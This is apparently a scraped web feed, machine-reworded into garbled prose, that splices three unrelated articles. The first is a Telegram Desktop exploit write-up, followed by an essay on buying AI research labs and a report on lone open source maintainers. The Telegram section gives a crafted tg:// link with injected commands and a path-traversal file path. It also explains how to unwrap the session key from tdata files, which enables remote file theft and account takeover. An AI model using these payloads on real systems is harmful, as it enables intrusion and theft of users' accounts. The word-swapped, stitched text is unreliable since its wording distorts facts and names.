A nexus shows up in the chat. You click it, and your Telegram document is no longer lone yours.</p><p>How?</p><p>Telegram Desktop hands clicked links to its own already-running case complete a local socket, as text, and never escapes the character it uses to distinct commands. So a crafted nexus does not attain as one instruction: it arrives as several.</p><p>The sequence I established has two defects. The archetypal is that injection. The second is what the injected command reaches: an inner URI scheme, interpret:, that says a document named in an education document and sends it to a chat, without checking who asked for it and without a confirmation. Together they rotate a clicked nexus into arbitrary document read. In this article I stroll through the sequence and afterward use it to pilfer the records that are the victim&rsquo;s login.</p><div><table readabilitydatatable="0"><tbody><tr><td><strong>Affected</strong></td><td>Telegram Desktop through 7.2.8, confirmed on Windows (6.9.3)</td></tr><tr><td><strong>Impact</strong></td><td>Remote arbitrary local document read, exfiltrated to an attacker-controlled chat; document takeover</td></tr><tr><td><strong>CVE</strong></td><td><a href="https://en.mycoding.id/category/technology" target="_blank">CVE-2026-107181</a></td></tr><tr><td><strong>Fixed in</strong></td><td>7.2.9, commit <a href="https://en.mycoding.id/category/technology" target="_blank">db3405699f</a></td></tr><tr><td><strong>Severity</strong></td><td>8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N</td></tr></tbody></table></div><h2 id="one-link-two-processes"><span>One link, two processes</span><a href="https://en.mycoding.id/category/technology" target="_blank"><i></i></a></h2><p>Operating systems let programs enroll a URI scheme, so they cognize which use to initiate whenever they encounter a nexus of that kind. Telegram Desktop registers tg. From afterward on the scheme knows a tg://... nexus belongs to Telegram, and launches it alongside the URL as a command-line argument.</p><p>If Telegram is not running, the procedure starts, takes the cord as a parameter, turns it into a URL entity and handles it internally: one process, and nothing to communicate.</p><p>But what if Telegram is already running? The functioning scheme neither knows nor checks: it launches a new procedure anyway, identical to the first. Telegram itself has to activity out that it is the redundant one, and the way it plant that out is by trying to nexus to a local socket.</p><p>The already-running case is the server: it has been listening on that socket since it started. The new procedure is the client. If it manages to connect, an case is already alive, so it hands complete the nexus and exits.</p><p>A socket does not transport objects, it carries bytes. The URL entity the new procedure holds in recollection cannot cross that channel, so it have to be flattened into a row of text.</p><p>That procedure has a name: serialization. Its inverse, rebuilding the entity from the text, is deserialization. Both are unavoidable whenever organized data has to cross a boundary, and the two are the exact item anywhere the boundaries inner the data halt being held by the construction and rotate into characters in the text.</p><p>Telegram does it alongside a format of its own, a uncomplicated one. Each education is a keyword, afterward its argument, afterward a semicolon that closes it. A nexus to open becomes:</p><p>tg://x?a=1 matches no handler inner Telegram, so on its own that nexus does nothing. It is lone a carrier.</p><p>That row is built here, one per URL to open:</p><div><p><table readabilitydatatable="0"><tbody><tr><td><pre>1 2 3 4 </pre></td><td><pre><span>// sandbox.cpp:295-297</span> <span>for</span> <span>(</span><span>const</span> <span>auto</span> <span>&amp;</span><span>url</span> <span>:</span> <span>cRefStartUrls</span><span>())</span> <span>{</span> <span>commands</span> <span>+=</span> <span>u"OPEN:"</span><span>_q</span> <span>+</span> <span>url</span><span>.</span><span>toString</span><span>(</span><span>QUrl</span><span>::</span><span>FullyEncoded</span><span>)</span> <span>+</span> <span>';'</span><span>;</span> <span>}</span> </pre></td></tr></tbody></table></p></div><p>On the another flank the operating case deserializes: it says the received bytes, cuts them at all semicolon, and treats all part as an education in its own right.

But formerly the identical act is reachable through the socket, and hence through the injection, a hazardous function becomes accessible from a nexus the casualty clicks.</p><p>That is a missing authorization, and it is the second of the two defects.</p><h2 id="getting-the-instruction-file-onto-disk"><span>Getting the education document onto disk</span><a href="https://en.mycoding.id/category/technology" target="_blank"><i></i></a></h2><p>An attacker who could location an education document on the victim&rsquo;s disk, pointing file: at a way value stealing and channel: at a conduit of their own, could exfiltrate any document from that device alongside nothing additional than a clicked link.</p><p>So how does an attacker location a content document at a predictable way on person else&rsquo;s disk? The apparent way is to dispatch it as a conversation attachment.</p><p>As it happens, Telegram Desktop in its default configuration downloads records received in groups up to 8 MiB automatically, during in broadcast channels automatic download is off. The document lands in a norm folder, under the identical name the sender chose, without the casualty clicking on it, and in a predictable location (a name collision would create Telegram preserve instructions1 (2).txt instead). Some formats, specified as stickers, GIFs and sound messages, go to an inner cache alternatively and would not be reachable as a way on disk.</p><p>Telegram builds that way itself (file_utilities.cpp:172-181). On Windows:</p><div><p><table readabilitydatatable="0"><tbody><tr><td><pre>1 </pre></td><td><pre>C:\Users\&lt;user&gt;\Downloads\Telegram Desktop\&lt;file name&gt; </pre></td></tr></tbody></table></p></div><p>By sending the document into the group, the attacker knows exactly anywhere it volition be saved. The way motionless seems to clasp one unknown, the Windows person name, but interpret: additionally accepts related paths, and a related way is resolved from Telegram&rsquo;s own operating directory, which is its data directory (logs.cpp:381). On Windows that is %APPDATA%\Telegram Desktop, three levels below the user&rsquo;s residence directory, and Downloads sits immediately in that residence directory. So a way akin this one:</p><div><p><table readabilitydatatable="0"><tbody><tr><td><pre>1 </pre></td><td><pre>interpret:../../../Downloads/Telegram%20Desktop/instructions.txt </pre></td></tr></tbody></table></p></div><p>gives the attacker a deterministic way without always needing the person name.</p><h2 id="from-file-read-to-account-takeover"><span>From document peruse to document takeover</span><a href="https://en.mycoding.id/category/technology" target="_blank"><i></i></a></h2><p>InterpretSendPath sends exactly one document per invocation: if an education document holds multiple file: lines, lone the final one counts. Two things lift that limit. Nothing stops an attacker from posting as many education records as they want, and the injection does not halt at the archetypal command: all semicolon opens another. Three targets, then, are three education records and three stacked commands in one link.</p><div><p><table readabilitydatatable="0"><tbody><tr><td><pre>1 2 3 4 </pre></td><td><pre>tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt </pre></td></tr></tbody></table></p></div><p>The primitive stays the identical throughout: arbitrary document read. What changes is what you read: an SSH personal key, a browser password store, a haze credentials file, or a configuration holding an API token.</p><p>Telegram does not keep local data in the clear, so everything the person holds on disk is encrypted, including the meeting authorization. That is the key the client uses to acknowledge itself to Telegram&rsquo;s servers, and holding it is adequate to be that account, much akin a meeting biscuit on a website.</p><p>Telegram uses key wrapping. Two keys are involved. The first, the DEK (Data Encryption Key), is long, random and high-entropy, and encrypts the user&rsquo;s data. The second, the KEK (Key Encryption Key), encrypts lone the DEK, and is not the password: it is derived from the password through a key derivation function (KDF), together alongside a sodium chloride stored next to the encrypted DEK.</p><p>In pseudocode, the sequence that opens the local data looks akin this:</p><div><p><table readabilitydatatable="0"><tbody><tr><td><pre>1 2 3 4 5 6 </pre></td><td><pre><span>salt</span><span>,</span> <span>encrypted_DEK</span> <span>=</span> <span>read</span><span>(</span><span>"</span><span>tdata/key_datas</span><span>"</span><span>)</span> <span>passcode</span> <span>=</span> <span>user_passcode</span><span>()</span> <span># bare if none is set </span> <span>KEK</span> <span>=</span> <span>KDF</span><span>(</span><span>passcode</span><span>,</span> <span>salt</span><span>)</span> <span>DEK</span> <span>=</span> <span>decrypt</span><span>(</span><span>encrypted_DEK</span><span>,</span> <span>KEK</span><span>)</span> <span>session</span> <span>=</span> <span>decrypt</span><span>(</span><span>authorization_file</span><span>,</span> <span>DEK</span><span>)</span> </pre></td></tr></tbody></table></p></div><p>By default Telegram Desktop has no local passcode: you have to open the settings and set one. With none set, the password feeding the derivation is bare (storage_domain.cpp:102), so the KEK comes from the bare cord and a salt, and that sodium chloride is stored in the apparent in tdata/key_datas, the identical document that holds the encrypted DEK. Reading that one document is adequate to recompute the KEK and unwrap the DEK.</p><p>So alongside no passcode set, whoever gets key_datas gets the DEK, and alongside the DEK everything alternatively decrypts, meeting authority included.</p><p>Three records are involved, and lone two of them clasp secrets:</p><div><p><table readabilitydatatable="0"><tbody><tr><td><pre>1 2 3 4 5 </pre></td><td><pre>tdata/ &#9500;&#9472;&#9472; key_datas the sodium chloride and the encrypted DEK &#9500;&#9472;&#9472; D877F783D5D3EF8Cs the MTProto authorization, encrypted alongside the DEK &#9492;&#9472;&#9472; D877F783D5D3EF8C/ &#9492;&#9472;&#9472; maps the indicator of the account's stored data </pre></td></tr></tbody></table></p></div><p>That directory name is not random and not particular to an installation.

Their investors desire the two a investigation breakthrough and a venture-scale business, equal although all of those solitary is a 1 in 100 outcome. Asking for the two makes their chances 1 in 10,000.</p><p>I think there&rsquo;s a improved alternative, one that borrows from the way pharma handles risky R&amp;D and lets frontier labs, neolabs, and investors all arrive out ahead.</p><h2 id="frontier-labs-want-to-scale-up-what-works">Frontier labs desire to measure up what works<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>Today, OpenAI, Anthropic, and Google DeepMind are caught in a neck-and-neck competition on example norm and intelligence. Every publish needs to exceed expectations, or at smallest encounter what competitors are doing. So they&rsquo;d fairly expend their resources <a href="https://en.mycoding.id/category/technology" target="_blank">scaling things that are proven to work</a>, akin improving data pipelines, construction infrastructure for larger runs, and purchasing ever-more compute. However, researchers frequently desire to activity on &ldquo;the next big thing&rdquo;, new paradigms that could guide to a discontinuous jump in intelligence. As a result, there&rsquo;s frequently strain between what the market needs them to container and what researchers desire to concentration on.</p><h2 id="neolabs-are-asked-to-do-two-things-at-once">Neolabs are asked to do two things at once<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>In the former year, many elder researchers who desire to prosecute these bets have started <a href="https://en.mycoding.id/category/technology" target="_blank">neolabs</a>, nascent AI startups focused on big investigation bets, normally funded alongside a lot of prosperity before they have a merchandise or revenue, so they can pay for compute and salaries. That way they can chase the big idea alongside venture-scale resources.</p><p>On the surface, investors are betting that a neolab becomes the next OpenAI or Anthropic. They prompt themselves that Anthropic was formerly a neolab too, started by a collection of researchers who remaining OpenAI and raised hundreds of millions of dollars before they had a product. Privately though, most of them volition acknowledge the likelihood of a reiterate are next to none, equal alongside world-class researchers and engineers.</p><p>Running a investigation squad is a distinct job from scaling a company. Researchers normally aren&rsquo;t awesome at product, go-to-market, operations, logistics, etc., all the things that traditionally matter for a sustainable company. (<a href="https://en.mycoding.id/category/technology" target="_blank">Ali Ghodsi</a> at Databricks is a fine exception.)</p><p>However, neolabs are expected to do both: create a breakthrough and measure a product. Sometimes this splits a business in two, alongside fractional the group wanting to build and market and the another fractional wanting to do investigation and build ASI. Focus and alignment are the biggest advantages a startup has complete better-funded incumbents, but this anticipation can obtain a toll on both.</p><p>Investors who anticipate their neolab to do the two volition apt be disappointed whenever it does neither.</p><p>One extreme move is to acknowledge that a neolab is <em>just</em> going to do world-class, groundbreaking research. Expect <a href="https://en.mycoding.id/category/technology" target="_blank">close to zero revenue</a> and let them cook. If they succeed, they get <a href="https://en.mycoding.id/category/technology" target="_blank">acquired</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">acquihired</a>.</p><p>The capture is that this doesn&rsquo;t activity for investors. A VC needs companies that can come back the complete fund, and it&rsquo;s difficult to commitment LPs that an acquihire volition do that, particularly at the sky-high multibillion valuations neolabs lift at today.</p><h2 id="pharma-already-solved-a-version-of-this">Pharma already solved a type of this<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>Drug betterment has dealt alongside a akin issue for decades. Companies regularly hazard hundreds of millions of dollars in R&amp;D on a medication that power pay off billions. A medication can continue first trials and motionless neglect before FDA approval, normally since it doesn&rsquo;t activity fine enough, and sometimes since of flank effects or manufacturing problems.</p><p>Pharma handles this by splitting the work. Smaller biotech companies obtain on the hazard of finding and development. If a medication works, a big pharma business acquires the startup or buys the medication as IP. The big business doubles downward on what it&rsquo;s fine at, which is producing and distributing narcotics at scale. The small business gets to do the discipline without having to invent a endeavor model. A small biotech&rsquo;s endeavor example comes downward to one question: can we create this medication activity or not?</p><p>The division of labor works. Of the narcotics the FDA approved from 2013 to 2022, <a href="https://en.mycoding.id/category/technology" target="_blank">small companies alongside under \$500M in income originated 52%</a>, during the biggest companies, alongside complete \$10B in revenue, originated 36%<sup id="1"><a href="https://en.mycoding.id/category/technology" target="_blank" role="doc-noteref">1</a></sup>.</p><p>Biotech investors have made prosperity this way for decades. Many of their biggest wins arrive from getting acquired, not from expanding into the next Pfizer.</p><h2 id="pre-registered-acquisitions">Pre-registered acquisitions<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>What&rsquo;s missing today is a promise. The group who start, join, or prosperity a neolab need to know, before they obtain the risk, that a big payoff is waiting if the investigation works.</p><p>Frontier labs could create that commitment onward of period through <em>pre-registered acquisitions</em>. This benevolent of commitment is additionally called &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">pull funding</a>&rdquo;. Push backing pays for investigation up front, akin a aid or a VC round. Pull backing promises to pay for the outcome formerly it exists. In 1714, the British authorities promised <a href="https://en.mycoding.id/category/technology" target="_blank">&pound;20,000</a> to anyone who could discover a ship&rsquo;s longitude at sea, and a self-taught clockmaker named John Harrison responded by inventing a clock that kept exact period on a rolling ship. In 2009, five countries and the Gates Foundation promised <a href="https://en.mycoding.id/category/technology" target="_blank">\$1.5B</a> to any business that could provision mediocre countries alongside pneumococcal vaccines at \$3.50 a dose or less, and vaccine makers responded alongside adequate provision to immunize additional than 150 myriad children.</p><p>Big companies have continually bought startups for their patents or their people. What&rsquo;s distinct concerning AI investigation is the disbursal of finding out whether an idea works. A application originator can test an idea on a laptop. Testing a new training method at a measure that matters takes a training run that can disbursal tens or hundreds of millions of dollars, and <a href="https://en.mycoding.id/category/technology" target="_blank">the disbursal of the largest runs has grown 2.4x a twelvemonth since 2016</a>. Nobody spends that much on a conjecture without knowing what achievement is worth. The stakes are additionally bigger than any one company&rsquo;s exit. A breakthrough in how models study ends up in systems that hundreds of millions of group use all day, so how we pay for that investigation decides how accelerated it happens and who gets to do it.</p><p>I can see this playing out in two ways:</p><ol><li>Open offers. A frontier lab publishes a mark anyone can inspect and commits to acquiring the archetypal squad that hits it, at a set price. OpenAI&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Parameter Golf</a> difficulty is a small type of this, alongside job interviews for standout entrants alternatively of an acquisition.</li><li>Private options. A frontier lab and one neolab concur on a scoped goal up front. The lab gets the correct to buy the neolab at a set cost if the goal is met, and pays a fallback fee if it walks away. <a href="https://en.mycoding.id/category/technology" target="_blank">SpaceX&rsquo;s choice to buy Cursor</a> had this structure: \$60B if SpaceX bought, or \$10B for the activity if it didn&rsquo;t. SpaceX <a href="https://en.mycoding.id/category/technology" target="_blank">bought it</a>.</li></ol><p>In the two cases, the mark can be a new capability, akin a benchmark score, or item the lab can&rsquo;t effortlessly build itself, akin a dataset, a set of <a href="https://en.mycoding.id/category/technology" target="_blank">RL environments</a>, or a regulatory approval.</p><p>Here&rsquo;s what an open recommendation could appearance like. Say a frontier lab posts: &ldquo;We&rsquo;ll get any squad that matches our last-generation example on this eval suite using a tenth of the training compute, for \$2B. Train from scratch, no distilling from anyone&rsquo;s frontier model, and the recommendation is fine through 2027.&rdquo; The cost makes sense, since the largest training runs are on track to <a href="https://en.mycoding.id/category/technology" target="_blank">cost additional than \$1B all by 2027</a>, so cutting the compute for all forthcoming run by 10x is value far additional than \$2B.</p><h2 id="why-would-a-frontier-lab-commit">Why would a frontier lab commit?<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>The apparent inquiry is why a lab would name a cost before seeing results, whenever it could delay and buy any works.</p><p>After a breakthrough, it&rsquo;s too late. Training recipes can&rsquo;t be patented, so formerly a squad shows a lab how it did something, the lab doesn&rsquo;t need the squad anymore. No sensible squad volition display its activity without a cost accepted first, and no lab volition pay for item it hasn&rsquo;t seen. This is called <a href="https://en.mycoding.id/category/technology" target="_blank">Arrow&rsquo;s data paradox</a>. Naming the cost ongoing breaks the deadlock: the squad knows what it gets, and the lab gets to inspect the outcome before it pays.</p><h2 id="a-win-win-win-solution">A win-win-win solution<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>Pre-registered acquisitions let everyone arrive out ahead.</p><p>The frontier labs get to:</p><ul><li>Keep scaling what works.</li><li>Bet on 0-to-1 breakthroughs without backing all lengthy attempt themselves.</li></ul><p>Neolabs and their researchers get to:</p><ul><li>Chase unproven but high-potential bets that could guide to a breakthrough, alongside backing rearward them.</li><li>Skip product-market fit and go-to-market, and expend their period on the investigation they&rsquo;re finest at and most enthusiastic about.</li><li>Stay internally aligned, since everyone knows they can win fair by making a breakthrough.</li><li>Form a team, or go solo, and obtain a attempt at a published target. Smaller targets activity too: if a lab posts \$100M for a new set of RL environments, spending \$100k on compute to try is a sensible bet.</li></ul><p>Investors get to:</p><ul><li>Take on small market risk, since if their squad gets there first, there&rsquo;s a committed buyer at a known price.</li><li>Value a neolab against the acquisition price. That won&rsquo;t validate a \$5B kernel round, but it volition validate a \$100M one, and a \$2B exit on a \$100M admission returns the fund.</li></ul><p>An open recommendation is additionally a floor, not a ceiling. If a squad hits the mark and would fairly build a endeavor about what it made, it can rotate the recommendation down.</p><h2 id="making-the-implicit-explicit">Making the implied explicit<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section">#</a></h2><p>Some type of this already exists. Every former acquisition and <a href="https://en.mycoding.id/category/technology" target="_blank">acquihire</a>, akin <a href="https://en.mycoding.id/category/technology" target="_blank">Google&rsquo;s \$2.4B Windsurf deal</a>, sets an implied anchor for what a investigation squad can exit for, and neolabs item to those anchors to validate their valuations. A pre-registered acquisition fair makes that explicit, reducing the doubt for everyone.</p><p>Right now a neolab has to win at investigation <em>and</em> at business, two moonshots at once. Put a cost on the breakthrough and it lone has to win one. The payoff is smaller than becoming the next Anthropic, but the likelihood go from 1 in 10,000 to 1 in 100, and that&rsquo;s a bet you can build a squad around.</p><p>So, frontier labs: what would you pay for a training run that expenses a tenth as much? Name a price.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/put-a-price-on-breakthroughs-71933</guid> <pubDate>Sat, 10 Oct 2026 03:37:47 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Show HN: Yeah Nah – a BS score for Australian job ads]]></title> <description><![CDATA[Show HN: Yeah Nah – a BS score for Australian job ads.

A UCLA instructor named Paul Eggert keeps that document current in his spare time, and at smallest four milliard Android phones and iPhones peruse it. He is an open origin maintainer, and he is far from the lone one in that position.</p> <p>The xkcd humorous that gets posted following all safety scare, figure 2347, shows a tower of contemporary infrastructure stable on one small obstacle that a sole individual maintains without thanks. A Redditor posting as u/Mastbubbles set out to test how near that is to the truth. They downloaded the complete former of 23 projects that phones, browsers and servers depend on, counted everyone who made ten or additional changes in the former year, and published the results on sheets.works as <em>The People Holding Up the Internet</em>. The article collected concerning 1,100 upvotes on r/linux in its archetypal day.</p> <p>Eleven of the 23 projects had one or two group doing the regular work. The remainder of this part covers who those group are, what prosperity reaches them, and anywhere r/linux pushed rear on the numbers.</p> <p><span id="more-4249"></span><br> <img fetchpriority="high" decoding="async" src="https://linuxstans.com//R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="" width="770" height="978" srcset="image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw== 1w" sizes=" 770px) 100vw, 770px" data-src-img="https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x.png" data-src-webp="https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x.png.webp" data-srcset-webp="https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x.png.webp 770w, https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x-236x300.png.webp 236w, https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x-768x975.png.webp 768w" data-srcset-img="https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x.png 770w, https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x-236x300.png 236w, https://linuxstans.com/wp-content/uploads/2026/10/dependency_2x-768x975.png 768w" data-eio="j"></p> <h2>Key Findings at a Glance</h2> <ul> <li><strong>11 of 23</strong> projects had one or two group making ten or additional changes between 7 October 2025 and 7 October 2026.</li> <li><strong>xz</strong> has a sole regular contributor, Lasse Collin, who wrote 97 percent of its changes in 2025.

Anyone alongside ten or additional changes in that opening counts as a regular contributor. For funding, &ldquo;no community grant&rdquo; method nothing from the Sovereign Tech Agency, Alpha-Omega, Open Collective or GitHub Sponsors. It does not average nobody has always paid these people. The limits division near the end covers what the method misses.</p> <h2>The One-Person Projects: xz, sudo, attack and the Time Zone Database</h2> <h3>xz: The Backdoor That Put One Maintainer in the Spotlight</h3> <p>Lasse Collin, who lives in Finland, looks following xz, the compression tool established on nearly all Linux server. In June 2022 he told the mailing catalog that this was an voluntary hobby project and that his capability to keep up had been limited, mostly by long-term mental health issues. For months, accounts calling themselves Jigar Kumar and Dennis Ens had been complaining in community concerning how gradually things moved, during a contributor named Jia Tan sent helpful patches. Collin gave Jia Tan additional access.</p> <p>By 2023 Jia Tan was making additional changes than Collin, 304 to 172. In February 2024 the versions Jia Tan released carried a hidden way into Linux servers. Andres Freund, an engineer at Microsoft, established it on 29 March since his SSH logins were using additional processor period than they should, before most Linux systems had shipped it. The path into sshd ran through allocation patches: multiple distros nexus OpenSSH to libsystemd, and libsystemd pulls in liblzma, which is part of xz. Nobody has established out who Jia Tan is.</p> <p>Collin is on his own again. He wrote 97 percent of xz&rsquo;s changes in 2025, and in 2026 the project has one regular contributor. The inspection established no new prosperity following the backdoor, which is the contrary of what happened to OpenSSL following Heartbleed (more on that below).</p> <h3>The Time Zone Database: One Lecturer, One Backup, Four Billion Devices</h3> <p>Eggert has been the authoritative coordinator of the period area document since 2012 and teaches device discipline at UCLA. Android, iOS and most servers peruse the document to activity out local time. Release 2026e, published on 29 September, opens alongside Manitoba&rsquo;s move to imperishable -05 on 31 October, which tells phones in Winnipeg not to set their clocks rear on 1 November.</p> <p>Of the 251 changes made to the document in the former year, Eggert made 218 and Tim Parenti made 28. In 2020 Eggert asked the mailing catalog to create Parenti his backup, in case withdrawal or item alternatively took him away.</p> <p>The job has carried lawful hazard too. In 2011 an astrology application business sued Eggert and Arthur David Olson, who started the repository in 1986 at the National Institutes of Health, claiming part of its former came from an atlas the business owned. The mailing catalog and download location went offline until IANA took them complete afterward that month. The Electronic Frontier Foundation defended the two men for free, and the business dropped the case in February 2012. Today Eggert has no sponsor page, and the inspection established no community aid for the project.</p> <h3>sudo: The Best-Funded One-Person Project on the List</h3> <p>Todd C. Miller has maintained sudo, the command that gives you admin entitlements on a Mac or a Linux server, since the first 1990s. The tool itself dates to about 1980 at SUNY Buffalo. The inspection established that Miller made 5,408 of the 5,409 changes between 2008 and 2018.</p> <p>In February 2026 he wrote on his location that he was &ldquo;in hunt of a sponsor&rdquo; to keep sudo maintained and developed. After The Register covered the note, the project&rsquo;s Open Collective prosperity reached concerning $61,700 a twelvemonth and 30 group sponsored it on GitHub. That makes sudo the best-funded one-person project in the count, which says a lot concerning the remainder of the list.</p> <h3>bash: A Bug That Sat Unreported for 25 Years</h3> <p>Chet Ramey has maintained bash, the casing on Linux and, from 2003 to 2019, on Macs, since concerning 1990. He does it alongside his job in the network collection at Case Western Reserve University in Ohio. In September 2014 St&eacute;phane Chazelas reported a flaw that let anyone run commands on a server by sending it specially shaped text. It went community on 24 September as Shellshock and sat on hundreds of millions of machines. The row rearward it had gone into attack on 5 August 1989. The inspection established Ramey&rsquo;s name on all alter in bash&rsquo;s community history, including the authoritative fixes.</p> <h3>Smaller Libraries With Huge Reach</h3> <ul> <li><strong>libjpeg-turbo</strong> decodes JPEG images on Android phones and in Chrome and Edge. DRC, who signs his emails alongside his initials, wrote 98 percent of this year&rsquo;s changes and runs the project as a one-person business. At one item he wrote that broad backing covered concerning 8 to 10 hours of activity a month.</li> <li><strong>zlib</strong> compresses data inner PNG images, Git, Android, iPhones and Chrome. Mark Adler co-wrote it in 1995, and his another job was managing NASA&rsquo;s Spirit rover on its way to Mars. He and a contributor known as Vollstrecker did most of final year&rsquo;s work, and Adler has no sponsor page.</li> <li><strong>HarfBuzz</strong> decides how alphabet associate and sit in Hindi, Arabic, Tamil and most of the world&rsquo;s scripts, for Android, Chrome, Firefox, Edge and the Kindle. Behdad Esfahbod wrote 85 percent of this year&rsquo;s changes, alongside five another group doing regular work.</li> <li><strong>SQLite</strong> is in all Android phone, iPhone and Mac, in Windows 10 and 11, and in all important browser. Four group changed it final year. The project estimates additional than a trillion databases are in use, and the squad pays for the activity by marketing assistance through Hipp&rsquo;s company.</li> <li><strong>core-js</strong> lets new JavaScript run in old browsers and, by its author&rsquo;s count, runs on concerning fractional of the thousand busiest websites. When Denis Pushkarev asked for donations he raised concerning $57 a month. In 2019 he was operating on it complete period without pay whenever a fatal highway accident, which he has described himself, ended in a jail term. He served concerning ten months from January 2020, commits nearly stopped during he was away, and this twelvemonth he wrote 95 percent of the changes.</li> </ul> <h2>What Changes When Money Arrives: curl and OpenSSL</h2> <p>Not all project on the catalog runs on one person. Daniel Stenberg started curl in Sweden in 1996, and it now moves data for phones, cars, TVs and Windows, which has shipped it since 2018. Eleven group did regular activity on curl this year, and Stenberg wrote in his assessment of 2025 that everyone alternatively has now added additional lines to it than he has. He plant on it complete period since companies pay for support. The project additionally takes in concerning $89,700 a twelvemonth through Open Collective, Stenberg has 64 sponsors on GitHub, and Germany&rsquo;s Sovereign Tech Agency paid &euro;195,000 for activity on it.</p> <p>OpenSSL is the older lesson. In April 2014 the Heartbleed bug let anyone peruse passwords and personal keys out of the recollection of concerning 17 percent of trusted safe servers, by Netcraft&rsquo;s count. That week the OpenSSL foundation&rsquo;s president, Steve Marquess, wrote that donations came to concerning $2,000 a year, and he told NPR that one individual worked on the project complete time. Within two months the Linux Foundation had raised $5.4 myriad from innovation companies. OpenSSL got two paid developers and an audit, and its figure of regular contributors went from six in 2013 to fourteen in 2014. In 2026 it has 32.</p> <p>Set flank by side, the outcomes differ sharply. OpenSSL additional than doubled its regular contributors inside a twelvemonth of Heartbleed. After the xz backdoor the inspection established no comparable money, and xz motionless has one.</p> <h2>Open Source Funding: Who Gets Paid and Who Does Not</h2> <p>The two biggest community funders in the inspection are Germany&rsquo;s Sovereign Tech Agency, which has funded concerning ninety open origin projects since 2022, and the Alpha-Omega fund, which gave out nearly $6 myriad final year, much of it to safety engineers at foundations specified as Python&rsquo;s and Ruby&rsquo;s. Both provision prosperity to organizations that can use for it and study on it. That favors projects alongside an institution rearward them complete one individual alongside a mailing list.</p> <table readabilitydatatable="1"> Sovereign Tech Agency backing for projects in the count <thead> <tr> <th scope="col">Project</th> <th scope="col">Funding</th> </tr> </thead> <tbody> <tr> <td>log4j</td> <td>&euro;596,160</td> </tr> <tr> <td>FFmpeg</td> <td>&euro;437,930</td> </tr> <tr> <td>OpenSSL</td> <td>&euro;405,888</td> </tr> <tr> <td>OpenSSH</td> <td>&euro;200,000</td> </tr> <tr> <td>curl</td> <td>&euro;195,000</td> </tr> </tbody> </table> <p>No community aid turned up for the period area database, SQLite, zlib, libjpeg-turbo, HarfBuzz, xz, attack or nghttp2. Eggert, Collin, DRC and Adler do not have sponsor pages either.</p> <p>Money does attain several group by another routes. Nick Wellnhofer raised a low six-figure sum complete the ten years he maintained libxml2, and since August 2026 the City of Munich has paid Sebastian Pipping to activity on expat for up to six months.</p> <p>Context matters here. &ldquo;No community grant&rdquo; is a narrow test, and multiple of these group have day jobs: Eggert teaches at UCLA and Ramey plant in a university network group. What the community document does display is that eight of the 23 projects obtain nothing from those four sources.</p> <h3>libxml2: A Handover That Worked</h3> <p>libxml2 says XML for Android phones, iPhones and Chrome, and the inspection puts it on 5.6 milliard phones and computers. Until December 2025 its README admitted that it was hobbyist application alongside one unpaid maintainer and plentifulness of safety holes. Nick Wellnhofer, who had maintained it for concerning ten years, announced in September 2025 that he was strolling down, kept fixing regressions, and took himself off the maintainers catalog in December. About dozen hours afterward new maintainers were added. Daniel Garcia Moreno has done most of the activity since.</p> <h2>Why You Only Hear Their Names When Something Breaks</h2> <p>Look at which names create headlines: Heartbleed, Shellshock, Jia Tan. The group who established those bugs get a mention, St&eacute;phane Chazelas for Shellshock and Andres Freund for xz. The group who spent years keeping the code operating rarely do.</p> <p>Some evade notice on purpose. DRC signs his emails alongside his initials, and SQLite&rsquo;s location formerly took downward its leaf of developer names and photos, saying several group power misuse the information. The 2011 lawsuit shows what can happen whenever a maintainer is noticed: Eggert and Olson were sued complete a document they gave distant for free.</p> <p>The r/linux thread added a small correction on recognition. A commenter who took Eggert&rsquo;s functioning systems way stated calling him a instructor undersells him, since what he taught shaped their career.</p> <h2>What r/linux Made of the Numbers</h2> <p>The most average reply was rage at companies that container these libraries to billions of devices and pay lone for what is flashy or crucial to their own operations. One commenter asserted that firms marketing Linux are energetic in the application they depend on, and another replied that the dull projects on this catalog are exactly the ones that get nothing. A long-time commenter traced the issue to language: liberated application talked concerning people, entitlements and responsibilities, during open origin talked concerning process, and the duty part got lost.</p> <p>The sharpest disagreement was complete distributions. Some commenters stated all grave distro forks and patches its packages, so a solitary upstream maintainer is lone part of the story. Others answered that backports are not the identical as upstream resilience, since distros motionless depend on the first author for releases, scheme and profound cognition of the code.</p> <p>The xz case divided the thread. One flank stated the backdoor surfaced inside weeks of release, which shows open assessment working. The another flank stated it was spotted since one engineer chased a few hundred milliseconds of additional SSH login time, and that akin attacks may have gone unnoticed. A third comment noted that the attackers succeeded by wearing downward one maintainer, so contributor figure solitary is an incomplete measure of safety.</p> <p>A skeptic asserted that these maintainers are not overwhelmed and that there is not adequate activity to validate a team. That holds finest for mature, stable tools and worst on the day the one maintainer leaves. One commenter noted that GnuPG is missing from the list, and multiple disliked the scroll animations on the first page. A plain type exists, connected in the sources below.</p> <h2>How Far to Trust the Numbers</h2> 